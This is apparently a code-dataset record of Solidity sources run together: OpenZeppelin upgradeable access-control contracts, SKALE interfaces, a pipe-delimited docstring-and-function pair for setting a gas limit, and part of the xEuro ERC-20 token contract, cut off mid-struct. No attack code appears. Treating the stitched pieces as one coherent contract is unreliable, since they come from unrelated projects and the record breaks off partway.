abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* IMessageReceiver.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Dmytro Stebaiev
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
interface IMessageReceiver {
function postMessage(
bytes32 schainHash,
address sender,
bytes calldata data
)
external
returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* IGasReimbursable.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "./IMessageReceiver.sol";
interface IGasReimbursable is IMessageReceiver {
function gasPayer(
bytes32 schainHash,
address sender,
bytes calldata data
)
external
returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IContractManager.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IContractManager {
function setContractsAddress(string calldata contractsName, address newContractsAddress) external;
function getContract(string calldata name) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchainsInternal - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchainsInternal {
function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool);
function isOwnerAddress(address from, bytes32 schainId) external view returns (bool);
}
|
Sets gasLimit to a new value Requirements: - `msg.sender` must be granted CONSTANT_SETTER_ROLE./
|
function setNewGasLimit(uint256 newGasLimit) external onlyConstantSetter {
emit GasLimitWasChanged(gasLimit, newGasLimit);
gasLimit = newGasLimit;
}
| 22,579 |
pragma solidity 0.5.7;
/*
* xEuro.sol
* xEUR tokens smart contract
* implements [ERC-20 Token Standard](https://eips.ethereum.org/EIPS/eip-20)
* ver. 1.0.7
* 2019-04-29
* https://xeuro.online
* address: https://etherscan.io/address/0xe577e0B200d00eBdecbFc1cd3F7E8E04C70476BE
* deployed on block: 7660532
* solc version : 0.5.7+commit.6da8b019
**/
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* ERC-677
* see: https://github.com/ethereum/EIPs/issues/677
* Allow tokens to be transferred to contracts and have the contract trigger logic for how to respond to receiving
* the tokens within a single transaction.
*/
contract TokenRecipient {
function onTokenTransfer(address _from, uint256 _value, bytes calldata _extraData) external returns (bool);
// function tokenFallback(address _from, uint256 _value, bytes calldata _extraData) external returns (bool);
}
/**
* see: https://www.cryptonomica.net/#!/verifyEthAddress/
* in our smart contract every new admin should have a verified identity on cryptonomica.net
*/
contract CryptonomicaVerification {
// returns 0 if verification is not revoked
function revokedOn(address _address) external view returns (uint unixTime);
function keyCertificateValidUntil(address _address) external view returns (uint unixTime);
}
contract xEuro {
/**
* see: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BasicToken.sol
*/
using SafeMath for uint256;
CryptonomicaVerification public cryptonomicaVerification;
/* --- ERC-20 variables ----- */
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#name
* function name() constant returns (string name)
*/
string public constant name = "xEuro";
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#symbol
* function symbol() constant returns (string symbol)
*/
string public constant symbol = "xEUR";
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#decimals
* function decimals() constant returns (uint8 decimals)
*/
uint8 public constant decimals = 0; // 1 token = €1, no smaller unit
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#totalsupply
* function totalSupply() constant returns (uint256 totalSupply)
* we start with zero
*/
uint256 public totalSupply = 0;
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#balanceof
// function balanceOf(address _owner) constant returns (uint256 balance)
mapping(address => uint256) public balanceOf;
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#allowance
* function allowance(address _owner, address _spender) constant returns (uint256 remaining)
*/
mapping(address => mapping(address => uint256)) public allowance;
/* --- administrative variables */
/**
* addresses that are admins in this smart contracts
* admin can assign and revoke authority to perform functions (mint, burn, transfer) in this contract
* for other addresses and for himself
*/
mapping(address => bool) public isAdmin;
/**
* addresses that can mint tokens
*/
mapping(address => bool) public canMint;
/**
* addresses allowed to transfer tokens from contract's own address to another address
* for example after tokens were minted, they can be transferred to user
* (tokenholder of new (fresh minted) tokens is always this smart contract itself)
*/
mapping(address => bool) public canTransferFromContract;
/**
* addresses allowed to burn tokens
* tokens can burned only if their tokenholder is smart contract itself
* nobody can burn tokens owned by user
*/
mapping(address => bool) public canBurn;
/* --- ERC-20 events */
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#events
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer-1
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#approval
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* event we fire when data are sent from this smart contract to other smart contract
* @param _from will be msg.sender
* @param _toContract address of smart contract information is sent to
* @param _extraData any data that msg.sender sends to another smart contract
*/
event DataSentToAnotherContract(address indexed _from, address indexed _toContract, bytes _extraData);
/* --- ERC-20 Functions */
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#methods
/*
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#approve
* there is and attack:
* https://github.com/CORIONplatform/solidity/issues/6,
* https://drive.google.com/file/d/0ByMtMw2hul0EN3NCaVFHSFdxRzA/view
* but this function is required by ERC-20:
* To prevent attack vectors like the one described on https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/
* and discussed on https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 ,
* clients SHOULD make sure to create user interfaces in such a way that they set the allowance first to 0 before
* setting it to another value for the same spender.
* THOUGH The contract itself shouldn’t enforce it, to allow backwards compatibility with contracts deployed before
*
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool success){
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Overloaded (see https://solidity.readthedocs.io/en/v0.5.7/contracts.html#function-overloading) approve function
* see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/
*/
function approve(address _spender, uint256 _currentValue, uint256 _value) external returns (bool success){
require(allowance[msg.sender][_spender] == _currentValue);
return approve(_spender, _value);
}
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer
*/
function transfer(address _to, uint256 _value) public returns (bool success){
return transferFrom(msg.sender, _to, _value);
}
/**
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transferfrom
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
// Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event (ERC-20)
// Variables of uint type cannot be negative. Thus, comparing uint variable with zero (greater than or equal) is redundant
// require(_value >= 0);
require(_to != address(0));
// The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism
require(
msg.sender == _from
|| _value <= allowance[_from][msg.sender]
|| (_from == address(this) && canTransferFromContract[msg.sender]),
"Sender not authorized");
// check if _from account have required amount
require(_value <= balanceOf[_from], "Account doesn't have required amount");
if (_to == address(this)) {// tokens sent to smart contract itself (for exchange to fiat)
// (!) only token holder can send tokens to smart contract address to get fiat, not using allowance
require(_from == msg.sender, "Only token holder can do this");
require(_value >= minExchangeAmount, "Value is less than min. exchange amount");
// this event used by our bot to monitor tokens that have to be burned and to make a fiat payment
// bot also verifies this information checking 'tokensInTransfer' mapping, which contains the same data
tokensInEventsCounter++;
emit TokensIn(
_from,
_value,
tokensInEventsCounter
);
// here we write information about this transfer
// (the same as in event, but stored in contract variable and with timestamp)
tokensInTransfer[tokensInEventsCounter].from = _from;
tokensInTransfer[tokensInEventsCounter].value = _value;
// timestamp:
tokensInTransfer[tokensInEventsCounter].receivedOn = now;
}
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
// If allowance used, change allowances correspondingly
if (_from != msg.sender && _from != address(this)) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
/* ---------- Interaction with other contracts */
/**
* ERC-677
* https://github.com/ethereum/EIPs/issues/677
* transfer tokens with additional info to another smart contract, and calls its correspondent function
* @param _to - another smart contract address
* @param _value - number of tokens
* @param _extraData - data to send to another contract
* this is a recommended method to send tokens to smart contracts
*/
function transferAndCall(address _to, uint256 _value, bytes memory _extraData) public returns (bool success){
TokenRecipient receiver = TokenRecipient(_to);
if (transferFrom(msg.sender, _to, _value)) {
// if (receiver.tokenFallback(msg.sender, _value, _extraData)) {
if (receiver.onTokenTransfer(msg.sender, _value, _extraData)) {
emit DataSentToAnotherContract(msg.sender, _to, _extraData);
return true;
}
}
return false;
}
/**
* the same as above ('transferAndCall'), but for all tokens on user account
* for example for converting ALL tokens of user account to another tokens
*/
function transferAllAndCall(address _to, bytes calldata _extraData) external returns (bool){
return transferAndCall(_to, balanceOf[msg.sender], _extraData);
}
/* --- Administrative functions */
/**
* @param from old address
* @param to new address
* @param by who made a change
*/
event CryptonomicaArbitrationContractAddressChanged(address from, address to, address indexed by);
/*
* @param _newAddress address of new contract to be used to verify identity of new admins
*/
function changeCryptonomicaVerificationContractAddress(address _newAddress) public returns (bool success) {
require(isAdmin[msg.sender], "Only admin can do that");
emit CryptonomicaArbitrationContractAddressChanged(address(cryptonomicaVerification), _newAddress, msg.sender);
cryptonomicaVerification = CryptonomicaVerification(_newAddress);
return true;
}
/**
* @param by who added new admin
* @param newAdmin address of new admin
*/
event AdminAdded(address indexed by, address indexed newAdmin);
function addAdmin(address _newAdmin) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAdmin != address(0), "Address can not be zero-address");
require(cryptonomicaVerification.keyCertificateValidUntil(_newAdmin) > now, "New admin has to be verified on Cryptonomica.net");
// revokedOn returns uint256 (unix time), it's 0 if verification is not revoked
require(cryptonomicaVerification.revokedOn(_newAdmin) == 0, "Verification for this address was revoked, can not add");
isAdmin[_newAdmin] = true;
emit AdminAdded(msg.sender, _newAdmin);
return true;
}
/**
* @param by an address who removed admin
* @param _oldAdmin address of the admin removed
*/
event AdminRemoved(address indexed by, address indexed _oldAdmin);
/**
* @param _oldAdmin address to be removed from admins
*/
function removeAdmin(address _oldAdmin) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
// prevents from deleting the last admin (can be multisig smart contract) by itself:
require(msg.sender != _oldAdmin, "Admin can't remove himself");
isAdmin[_oldAdmin] = false;
emit AdminRemoved(msg.sender, _oldAdmin);
return true;
}
/**
* minimum amount of tokens than can be exchanged to fiat
* can be changed by admin
*/
uint256 public minExchangeAmount;
/**
* @param by address who made a change
* @param from value before the change
* @param to value after the change
*/
event MinExchangeAmountChanged (address indexed by, uint256 from, uint256 to);
/**
* @param _minExchangeAmount new value of minimum amount of tokens that can be exchanged to fiat
* only admin can make this change
*/
function changeMinExchangeAmount(uint256 _minExchangeAmount) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
uint256 from = minExchangeAmount;
minExchangeAmount = _minExchangeAmount;
emit MinExchangeAmountChanged(msg.sender, from, minExchangeAmount);
return true;
}
/**
* @param by who add permission to mint (only admin can do this)
* @param newAddress address that was authorized to mint new tokens
*/
event AddressAddedToCanMint(address indexed by, address indexed newAddress);
/**
* Add permission to mint new tokens to address _newAddress
*/
function addToCanMint(address _newAddress) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAddress != address(0), "Address can not be zero-address");
canMint[_newAddress] = true;
emit AddressAddedToCanMint(msg.sender, _newAddress);
return true;
}
event AddressRemovedFromCanMint(address indexed by, address indexed removedAddress);
function removeFromCanMint(address _addressToRemove) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
canMint[_addressToRemove] = false;
emit AddressRemovedFromCanMint(msg.sender, _addressToRemove);
return true;
}
/**
* @param by who add permission (should be admin)
* @param newAddress address that got permission
*/
event AddressAddedToCanTransferFromContract(address indexed by, address indexed newAddress);
function addToCanTransferFromContract(address _newAddress) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAddress != address(0), "Address can not be zero-address");
canTransferFromContract[_newAddress] = true;
emit AddressAddedToCanTransferFromContract(msg.sender, _newAddress);
return true;
}
event AddressRemovedFromCanTransferFromContract(address indexed by, address indexed removedAddress);
function removeFromCanTransferFromContract(address _addressToRemove) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
canTransferFromContract[_addressToRemove] = false;
emit AddressRemovedFromCanTransferFromContract(msg.sender, _addressToRemove);
return true;
}
/**
* @param by who add permission (should be admin)
* @param newAddress address that got permission
*/
event AddressAddedToCanBurn(address indexed by, address indexed newAddress);
function addToCanBurn(address _newAddress) public returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
require(_newAddress != address(0), "Address can not be zero-address");
canBurn[_newAddress] = true;
emit AddressAddedToCanBurn(msg.sender, _newAddress);
return true;
}
event AddressRemovedFromCanBurn(address indexed by, address indexed removedAddress);
function removeFromCanBurn(address _addressToRemove) external returns (bool success){
require(isAdmin[msg.sender], "Only admin can do that");
canBurn[_addressToRemove] = false;
emit AddressRemovedFromCanBurn(msg.sender, _addressToRemove);
return true;
}
/* ---------- Create and burn tokens */
/**
* number (id) for MintTokensEvent
*/
uint public mintTokensEventsCounter = 0;
/**
* struct used to write information about every transaction that mint new tokens (we call it 'MintTokensEvent')
* every 'MintTokensEvent' has its number/id (mintTokensEventsCounter)
*/
struct MintTokensEvent {
address mintedBy; // address that minted tokens (msg.sender)
